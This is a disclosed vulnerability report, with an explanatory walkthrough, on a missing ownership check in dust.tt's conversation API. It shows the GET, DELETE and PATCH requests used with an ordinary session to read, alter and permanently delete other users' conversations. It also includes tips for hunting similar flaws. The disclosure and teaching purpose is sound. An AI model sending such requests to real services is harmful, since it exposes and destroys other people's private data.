Privilege Escalation leads to Unauthorized Access to Private Conversations By any Regular user [Read , Edit and Delete]
The conversation API endpoint did not check that the requesting user owned the conversation, so any authenticated user could read, edit or delete other users' chat threads, including administrators'.
- Disclosed after 7 days
Summary:
A normal authenticated user on dust.tt can escalate their privileges by accessing, modifying, and deleting any chat threads belonging to other users — including administrators — through a vulnerable API endpoint without having the appropriate permissions.
#Vulnerability Details:
Reading Other Users’ Conversations:
GET /api/w/<Workspace-id>/assistant/conversations/<victim-conversation-id>
###Example:
GET /api/w/mRHt1cXVmK/assistant/conversations/<ADMIN-conversation-id> HTTP/2
Host: dust.tt
Cookie: <User-session_token_or_cookies>
###Response:
{
"conversation": {
"id": [conversation_numeric_id],
"created": [timestamp_in_milliseconds],
"sId": "[conversation_string_id]",
"owner": {
"id": [user_numeric_id],
"sId": "[user_string_id]",
"name": "[username]",
"role": "[user_role]",
"segmentation": null,
"ssoEnforced": false,
"whiteListedProviders": null,
"defaultEmbeddingProvider": null,
"metadata": {
"isBusiness": false
}
},
"title": "[conversation_title]",
"visibility": "[visibility_status]",
"requestedGroupIds": []
}
}
Deleting Other Users’ Conversations:
- By sending a DELETE request to the same endpoint, the attacker can delete any conversation:
DELETE /api/w/mRHt1cXVmK/assistant/conversations/<ADMIN-conversation-id> HTTP/2
Host: dust.tt
Cookie: <User-session_token_or_cookies>
-
No additional verification is performed server-side to confirm ownership of the conversation.
-
The request succeeds and the conversation is permanently deleted from the target workspace.
Editing Other Users’ Conversations:
Similarly, an attacker can update the content or metadata of a conversation by sending a PATCH request:
###Example:
PATCH /api/w/[Workspace ID]/assistant/conversations/[Conversation ID]
Content-Type: application/json
Cookie: <User-session_token_or_cookies>
{
"title": "Updated by Attacker",
"visibility":"unlisted"
}
###Response:
{
"conversation": {
"id": [conversation_numeric_id],
"created": [timestamp_in_milliseconds],
"sId": "[conversation_string_id]",
"owner": {
"id": [owner_numeric_id],
"sId": "[owner_string_id]",
"name": "[owner_username]",
"role": "[owner_role]",
"segmentation": null,
"ssoEnforced": false,
"whiteListedProviders": null,
"defaultEmbeddingProvider": null,
"metadata": {
"isBusiness": false
}
},
"title": "[conversation_title]",
"visibility": "[visibility_status]",
"content": [
[
{
"id": [message_id],
"sId": "[message_string_id]",
"type": "[message_type]",
"visibility": "[message_visibility]",
"version": 0,
"created": [message_timestamp],
"user": {
"sId": "[user_string_id]",
"id": [user_numeric_id],
"createdAt": [user_created_timestamp],
"provider": "[auth_provider]",
"username": "[user_username]",
"email": "[user_email_address]",
"firstName": "[user_first_name]",
"lastName": "[user_last_name]",
"fullName": "[user_full_name]",
"image": "[user_profile_image_url]"
},
"mentions": [],
"content": "[message_content]",
"context": {
"username": "[user_username]",
"timezone": "[user_timezone]",
"fullName": "[user_full_name]",
"email": "[user_email_address]",
"profilePictureUrl": "[user_profile_image_url]",
"origin": "[message_origin]"
}
}
]
],
"requestedGroupIds": []
}
}
#POC VIDEO:
█████████
Impact
This vulnerability allows a normal user to:
- Read private conversations of any user, including admins.
- Modify other users' chat threads.
- Delete chat threads of other users without their consent.
This issue severely compromises the confidentiality, integrity, and availability of user data within the application, making it a critical security concern that needs to be addressed immediately.
Context
Dust (dust.tt) is a workspace-based assistant product. Within a workspace, users hold conversations with assistants, and each conversation is an object with an owner, a title, a visibility setting and a message history. Conversations are addressed through a workspace-scoped API under /api/w/<Workspace-id>/assistant/conversations/<conversation-id>.
The report describes a privilege escalation in that API: a regular authenticated user can read, edit and delete conversations that belong to other members of the same workspace, including administrators, without holding the permissions that should be required.
Setup
The only precondition stated in the report is an authenticated account on dust.tt with an ordinary user role, plus a session cookie or session token for that account. The attacker needs to know the workspace identifier and the identifier of the victim conversation. The report uses a workspace identifier of mRHt1cXVmK in its examples and refers to the target conversation as <ADMIN-conversation-id>, i.e. a conversation owned by an administrator. No specific tooling, product version or additional role configuration is described.
Finding it
The report shows that the conversation endpoints under /api/w/<Workspace-id>/assistant/conversations/<conversation-id> act on a conversation identifier supplied by the client. Because the identifier is the only thing separating one user's conversation from another's, the question was whether the server checks that the caller owns, or is otherwise authorised for, the conversation being addressed. The report states that it does not: no ownership verification is performed server-side, so a regular user can point the same endpoints at another user's conversation.
Exploitation
Step 1: Read another user's conversation
The researcher sends a GET request to the conversation endpoint, substituting the administrator's conversation identifier:
GET /api/w/mRHt1cXVmK/assistant/conversations/<ADMIN-conversation-id> HTTP/2
Host: dust.tt
Cookie: <User-session_token_or_cookies>
The request is made over HTTP/2 to dust.tt, carries the attacker's own session cookie, and targets the workspace mRHt1cXVmK.
The server returns the conversation object:
{
"conversation": {
"id": [conversation_numeric_id],
"created": [timestamp_in_milliseconds],
"sId": "[conversation_string_id]",
"owner": {
"id": [user_numeric_id],
"sId": "[user_string_id]",
"name": "[username]",
"role": "[user_role]",
"segmentation": null,
"ssoEnforced": false,
"whiteListedProviders": null,
"defaultEmbeddingProvider": null,
"metadata": {
"isBusiness": false
}
},
"title": "[conversation_title]",
"visibility": "[visibility_status]",
"requestedGroupIds": []
}
}
The response discloses the conversation's numeric and string identifiers, its creation timestamp, its title and visibility, and the owner's profile: numeric and string identifiers, name, role, SSO enforcement flag, provider settings and business metadata. The attacker therefore learns the conversation's metadata and details about the owning account, including its role.
Step 2: Delete another user's conversation
The same endpoint accepts a DELETE method. The researcher sends:
DELETE /api/w/mRHt1cXVmK/assistant/conversations/<ADMIN-conversation-id> HTTP/2
Host: dust.tt
Cookie: <User-session_token_or_cookies>
Again the attacker's own session is used and the victim's conversation identifier is placed in the path. The report states that no additional verification is performed server-side to confirm ownership of the conversation, that the request succeeds, and that the conversation is permanently deleted from the target workspace.
Step 3: Edit another user's conversation
A PATCH request to the same endpoint updates the conversation. The researcher's example uses placeholders for the workspace and conversation identifiers:
PATCH /api/w/[Workspace ID]/assistant/conversations/[Conversation ID]
Content-Type: application/json
Cookie: <User-session_token_or_cookies>
{
"title": "Updated by Attacker",
"visibility":"unlisted"
}
The JSON body sets a new title and changes visibility to unlisted. The response returns the modified conversation object:
{
"conversation": {
"id": [conversation_numeric_id],
"created": [timestamp_in_milliseconds],
"sId": "[conversation_string_id]",
"owner": {
"id": [owner_numeric_id],
"sId": "[owner_string_id]",
"name": "[owner_username]",
"role": "[owner_role]",
"segmentation": null,
"ssoEnforced": false,
"whiteListedProviders": null,
"defaultEmbeddingProvider": null,
"metadata": {
"isBusiness": false
}
},
"title": "[conversation_title]",
"visibility": "[visibility_status]",
"content": [
[
{
"id": [message_id],
"sId": "[message_string_id]",
"type": "[message_type]",
"visibility": "[message_visibility]",
"version": 0,
"created": [message_timestamp],
"user": {
"sId": "[user_string_id]",
"id": [user_numeric_id],
"createdAt": [user_created_timestamp],
"provider": "[auth_provider]",
"username": "[user_username]",
"email": "[user_email_address]",
"firstName": "[user_first_name]",
"lastName": "[user_last_name]",
"fullName": "[user_full_name]",
"image": "[user_profile_image_url]"
},
"mentions": [],
"content": "[message_content]",
"context": {
"username": "[user_username]",
"timezone": "[user_timezone]",
"fullName": "[user_full_name]",
"email": "[user_email_address]",
"profilePictureUrl": "[user_profile_image_url]",
"origin": "[message_origin]"
}
}
]
],
"requestedGroupIds": []
}
}
This response is more revealing than the GET. Beyond the conversation metadata and owner profile, it includes the message history: for each message, its numeric and string identifiers, type, visibility, version, creation timestamp, and the author's full profile (string and numeric identifiers, creation time, auth provider, username, email address, first and last name, full name and profile image URL). Each message also carries a context object with the author's username, timezone, full name, email address, profile picture URL and message origin, plus the message content itself. The PATCH therefore both demonstrates write access to another user's conversation and returns the private conversation content to the attacker.
The report also references a proof-of-concept video, which is not reproduced here.
Root cause
The report attributes the issue to the conversation endpoints acting on a client-supplied conversation identifier without verifying that the caller owns or is authorised for that conversation. The DELETE step states explicitly that no additional verification is performed server-side to confirm ownership. In practice this is a missing object-level authorisation check (an IDOR-style flaw) on the read, update and delete paths of the same resource. The report does not describe the underlying code, so whether the check is absent entirely or applied inconsistently across methods is not stated; the observable behaviour is that all three methods succeed for a non-owner.
Impact
According to the report, a normal user can:
- read private conversations of any user, including administrators;
- modify other users' chat threads;
- delete chat threads of other users without their consent.
The researcher characterises this as severely compromising the confidentiality, integrity and availability of user data in the application. The conditions are those of the setup: an authenticated regular account in the same workspace, knowledge of the workspace identifier and the victim conversation identifier, and the victim conversation existing at the time of the request. Deletion is described as permanent.
Fix
The report does not describe a fix or a change made by the vendor. What it calls for is server-side verification, on every method that touches a conversation, that the authenticated caller is permitted to act on that specific conversation, rather than trusting the identifier in the path.
Variants to test
- Other methods on the same resource. If GET, PATCH and DELETE all lack the ownership check, try PUT, POST and any bulk or export endpoints on the same path pattern with a foreign identifier. A positive result is a 2xx response containing or altering another user's object.
- Nested resources. Message-level paths beneath a conversation (for example anything under the conversation identifier) may inherit the same gap. A positive result is reading or modifying a message in a conversation you do not own.
- Identifier forms. The objects expose both numeric
idand stringsIdvalues. Try both forms in the path; a positive result is that the authorisation behaviour differs between them or that one form bypasses a check the other enforces. - Workspace boundary. Try a conversation identifier from a different workspace than the one in the path. A positive result is cross-workspace access, which would be a wider flaw than the same-workspace case described here.
- Visibility manipulation. The PATCH example sets
visibilitytounlisted. Try other visibility values and check whether changing them exposes a conversation more broadly than its owner intended.
Hunting notes
This kind of bug tends to sit in workspace-scoped REST paths where the tenant or workspace identifier is in the URL and the object identifier is supplied by the client, especially where the same handler serves several HTTP methods. During recon, look for endpoints whose path contains both a workspace or team segment and an object identifier, and check whether the object identifier is a simple sequential or guessable value. The signal that matters is whether the server ever consults the object's owner before acting.
The report establishes impact by demonstrating read and delete against an administrator's conversation and an edit against a conversation identified by placeholders, using an ordinary account, and by showing that the responses return private message content and personal profile data. That combination, unauthorised access to another user's private data plus destructive capability, is the impact the report describes.
What happened, in plain words
Dust (dust.tt) is a website where teams work together with AI assistants. Inside a shared space called a workspace, each person can hold conversations with an assistant. Every conversation belongs to someone, has a title, a visibility setting and a history of messages.
The report describes a privilege escalation. That term means a person with ordinary rights finds a way to do things that only more powerful people, or only the owner of the data, should be able to do. Here, any normal logged-in user could read, change and delete the private conversations of other people in the same workspace, including administrators. They did not need any special permission to do it.
The tool that made this possible is the site's API. An API is the set of addresses a website's own pages use behind the scenes to fetch and save data. Think of it as the service counter of a shop: your browser walks up to the counter, shows its membership card, and asks for something by name. If the person behind the counter hands over any item you name without checking that it is yours, the counter is the problem, not the customer.
Background ideas you need first
Before the steps make sense, a few everyday concepts:
- Request and response. Your browser sends a request ("please give me this") and the server sends back a response (the data, or a confirmation).
- HTTP method. The word at the start of a request says what kind of action you want.
GETmeans "show me",DELETEmeans "remove this", andPATCHmeans "change part of this". - Cookie or session token. When you log in, the site gives your browser a small piece of text that proves who you are on every later request. It works like a wristband at an event: you show it once at the door, then staff trust it for the rest of the night. If someone else gets your wristband, they can act as you, which is why these values are sensitive.
- Endpoint. A specific address on the server that accepts requests, such as the conversation address used below.
- Identifier (ID). A unique label for a thing, like a ticket number. Conversations and users each have one. Some identifiers are numbers, some are strings of letters and digits.
- Authorisation check. The server asking "is this person allowed to touch this particular item?" Authentication is proving who you are; authorisation is deciding what you may do. This report is about a missing authorisation check.
- IDOR. Short for Insecure Direct Object Reference. It is the classic version of this bug: the server takes an identifier sent by the client and acts on it without checking that the client is allowed to use that identifier. It is like a hotel giving you a key card that opens any room whose number you say out loud.
The setup
The report states one precondition: an account on dust.tt with an ordinary user role, plus the session cookie or session token for that account. The attacker also needs two identifiers: the workspace identifier and the identifier of the victim's conversation. The examples use a workspace identifier of mRHt1cXVmK and refer to the target as <ADMIN-conversation-id>, meaning a conversation owned by an administrator. No particular tool, product version or extra role configuration is described.
Finding it
The report shows that the conversation addresses under /api/w/<Workspace-id>/assistant/conversations/<conversation-id> take a conversation identifier supplied by the client and act on it directly. The identifier is the only thing that separates one person's conversation from another's. So the natural question was: does the server check that the caller owns, or is otherwise allowed to use, the conversation being named? The report says it does not. No ownership verification happens on the server, so an ordinary user can point the same addresses at someone else's conversation.
Exploitation
Step 1: Read another user's conversation
The researcher sends a GET request to the conversation address, swapping in the administrator's conversation identifier:
GET /api/w/mRHt1cXVmK/assistant/conversations/<ADMIN-conversation-id> HTTP/2
Host: dust.tt
Cookie: <User-session_token_or_cookies>
Line by line:
GETasks the server to show something. Nothing is being changed yet; this is a read./api/w/mRHt1cXVmK/assistant/conversations/<ADMIN-conversation-id>is the address.mRHt1cXVmKis the workspace,assistant/conversationsis the section holding conversations, and the last part is the victim's conversation identifier.HTTP/2is the version of the web protocol used for the request.Host: dust.tttells the server which site the request is for.Cookie: <User-session_token_or_cookies>carries the attacker's own login wristband. The attacker is not pretending to be the admin; they are simply using their own ordinary account.
The server answers with the conversation object:
{
"conversation": {
"id": [conversation_numeric_id],
"created": [timestamp_in_milliseconds],
"sId": "[conversation_string_id]",
"owner": {
"id": [user_numeric_id],
"sId": "[user_string_id]",
"name": "[username]",
"role": "[user_role]",
"segmentation": null,
"ssoEnforced": false,
"whiteListedProviders": null,
"defaultEmbeddingProvider": null,
"metadata": {
"isBusiness": false
}
},
"title": "[conversation_title]",
"visibility": "[visibility_status]",
"requestedGroupIds": []
}
}
What this response contains:
idandsIdare the conversation's numeric and string identifiers.createdis when the conversation was made, as a timestamp in milliseconds.ownerdescribes the person who owns the conversation: their numeric and string identifiers, their name, their role, whether single sign-on is enforced (ssoEnforced), provider settings, and ametadatablock with a business flag.titleandvisibilityare the conversation's title and who can see it.requestedGroupIdsis an empty list in this example.
So the attacker learns not only details about the conversation but also facts about the owning account, including its role.
Step 2: Delete another user's conversation
The same address also accepts the DELETE method. The researcher sends:
DELETE /api/w/mRHt1cXVmK/assistant/conversations/<ADMIN-conversation-id> HTTP/2
Host: dust.tt
Cookie: <User-session_token_or_cookies>
Line by line:
DELETEasks the server to remove the item named in the address.- The address is the same as before, still pointing at the administrator's conversation.
- The
HostandCookielines are unchanged: the attacker's own session is used again.
The report states that no additional verification is performed on the server to confirm ownership of the conversation, that the request succeeds, and that the conversation is permanently deleted from the target workspace. Permanently matters: there is no undo, so the owner loses the conversation and its history.
Step 3: Edit another user's conversation
A PATCH request to the same address changes the conversation. The example uses placeholders for the workspace and conversation identifiers:
PATCH /api/w/[Workspace ID]/assistant/conversations/[Conversation ID]
Content-Type: application/json
Cookie: <User-session_token_or_cookies>
{
"title": "Updated by Attacker",
"visibility":"unlisted"
}
Line by line:
PATCHmeans "change part of this item".- The address follows the same pattern, with
[Workspace ID]and[Conversation ID]standing in for the real values. Content-Type: application/jsontells the server that the body of the request is formatted as JSON, a common text format for structured data.- The
Cookieline again carries the attacker's own session. - The body sets a new
titletoUpdated by Attackerand changesvisibilitytounlisted. In plain terms, the attacker renames someone else's conversation and changes who can see it.
The server returns the modified conversation object:
{
"conversation": {
"id": [conversation_numeric_id],
"created": [timestamp_in_milliseconds],
"sId": "[conversation_string_id]",
"owner": {
"id": [owner_numeric_id],
"sId": "[owner_string_id]",
"name": "[owner_username]",
"role": "[owner_role]",
"segmentation": null,
"ssoEnforced": false,
"whiteListedProviders": null,
"defaultEmbeddingProvider": null,
"metadata": {
"isBusiness": false
}
},
"title": "[conversation_title]",
"visibility": "[visibility_status]",
"content": [
[
{
"id": [message_id],
"sId": "[message_string_id]",
"type": "[message_type]",
"visibility": "[message_visibility]",
"version": 0,
"created": [message_timestamp],
"user": {
"sId": "[user_string_id]",
"id": [user_numeric_id],
"createdAt": [user_created_timestamp],
"provider": "[auth_provider]",
"username": "[user_username]",
"email": "[user_email_address]",
"firstName": "[user_first_name]",
"lastName": "[user_last_name]",
"fullName": "[user_full_name]",
"image": "[user_profile_image_url]"
},
"mentions": [],
"content": "[message_content]",
"context": {
"username": "[user_username]",
"timezone": "[user_timezone]",
"fullName": "[user_full_name]",
"email": "[user_email_address]",
"profilePictureUrl": "[user_profile_image_url]",
"origin": "[message_origin]"
}
}
]
],
"requestedGroupIds": []
}
}
This response is more revealing than the GET:
- The conversation metadata and owner profile appear again, as in step 1.
contentholds the message history. It is a list of lists, because messages are grouped into batches.- For each message you get its numeric and string identifiers, its
type, itsvisibility, aversionnumber, and when it was created. - The
userblock is the message author's full profile: identifiers, account creation time, authentication provider, username, email address, first and last name, full name and profile image URL. mentionslists anyone mentioned in the message, empty in this example.contentinside the message is the actual text of what was said.contextrepeats the author's username, timezone, full name, email address, profile picture URL and where the message came from.
So the PATCH does two things at once. It proves the attacker can change someone else's conversation, and it hands back the private conversation content, including personal details about the people who wrote the messages. The report also references a proof-of-concept video, which is not reproduced here.
Why this is a privilege escalation
Privilege escalation means gaining abilities you were never granted. The attacker here never becomes an administrator and never steals a password. They simply use their ordinary account against an address that fails to ask whether the item belongs to them. The missing check is the whole bug. In security terms this is a missing object-level authorisation check, an IDOR-style flaw, present on the read, update and delete paths of the same resource. The report does not describe the underlying code, so whether the check is absent entirely or applied inconsistently across methods is not stated. What is observable is that all three methods succeed for a non-owner.
Impact
According to the report, a normal user can:
- read private conversations of any user, including administrators;
- modify other users' chat threads;
- delete chat threads of other users without their consent.
The researcher describes this as severely compromising the confidentiality, integrity and availability of user data. Those three words are the standard trio for describing damage: confidentiality means keeping secrets secret, integrity means keeping data correct and unaltered, and availability means keeping data there when its owner needs it. This bug breaks all three. The conditions are those of the setup: an authenticated regular account in the same workspace, knowledge of the workspace identifier and the victim conversation identifier, and the victim conversation existing at the time of the request. Deletion is described as permanent.
Fix
The report does not describe a fix or a change made by the vendor. What it calls for is server-side verification, on every method that touches a conversation, that the authenticated caller is permitted to act on that specific conversation, rather than trusting the identifier in the address.
Variants to test
If you were checking a similar site, these are the follow-up questions the report's findings suggest:
- Other methods on the same resource. If
GET,PATCHandDELETEall lack the ownership check, tryPUT,POSTand any bulk or export addresses on the same path pattern with a foreign identifier. A positive result is a successful response that contains or alters another user's object. - Nested resources. Message-level paths beneath a conversation may inherit the same gap. A positive result is reading or modifying a message in a conversation you do not own.
- Identifier forms. The objects expose both numeric
idand stringsIdvalues. Try both forms in the address; a positive result is that the authorisation behaviour differs between them, or that one form bypasses a check the other enforces. - Workspace boundary. Try a conversation identifier from a different workspace than the one in the address. A positive result is cross-workspace access, which would be a wider flaw than the same-workspace case described here.
- Visibility manipulation. The
PATCHexample setsvisibilitytounlisted. Try other visibility values and check whether changing them exposes a conversation more broadly than its owner intended.
Hunting notes
This kind of bug tends to sit in workspace-scoped web addresses where the workspace identifier is in the URL and the object identifier is supplied by the client, especially where the same handler serves several HTTP methods. During recon, look for addresses whose path contains both a workspace or team segment and an object identifier, and check whether the object identifier is a simple sequential or guessable value. The signal that matters is whether the server ever consults the object's owner before acting.
The report establishes impact by demonstrating read and delete against an administrator's conversation and an edit against a conversation identified by placeholders, using an ordinary account, and by showing that the responses return private message content and personal profile data. That combination, unauthorised access to another user's private data plus destructive capability, is the impact the report describes.
Glossary
- API: the set of addresses a website's own pages use behind the scenes to fetch and save data.
- Authentication: proving who you are, usually by logging in.
- Authorisation: deciding what a proven user is allowed to do.
- Authorisation check: the server asking whether this user may act on this specific item.
- Availability: keeping data there and usable when its owner needs it.
- Confidentiality: keeping private data secret from people who should not see it.
- Cookie / session token: a small piece of text your browser holds after login that proves your identity on later requests.
- Cross-workspace access: reaching data in a different workspace from the one named in the request.
- DELETE: an HTTP method meaning "remove this item".
- Endpoint: a specific address on a server that accepts requests.
- GET: an HTTP method meaning "show me this item".
- HTTP/2: a version of the web protocol used to send requests and responses.
- IDOR (Insecure Direct Object Reference): a bug where the server acts on an identifier sent by the client without checking the client is allowed to use it.
- Identifier (ID): a unique label for a thing, such as a number or a string of letters and digits.
- Integrity: keeping data correct and unaltered by people who should not change it.
- JSON: a common text format for structured data, used in request and response bodies.
- PATCH: an HTTP method meaning "change part of this item".
- Privilege escalation: gaining abilities or access you were never granted.
- Recon: the exploratory phase of looking for weaknesses before trying anything.
- Request / response: the message your browser sends and the data the server sends back.
- Role: the level of permission an account holds, such as ordinary user or administrator.
- Server-side: happening on the server, where the site's own checks run, rather than in the browser.
- Single sign-on (SSO): logging in once through a central identity provider to reach several services.
- Timestamp: a point in time recorded as a value, here in milliseconds.
- Visibility: a setting controlling who can see an item, such as a conversation.
- Workspace: a shared space inside the product where a team's users and conversations live.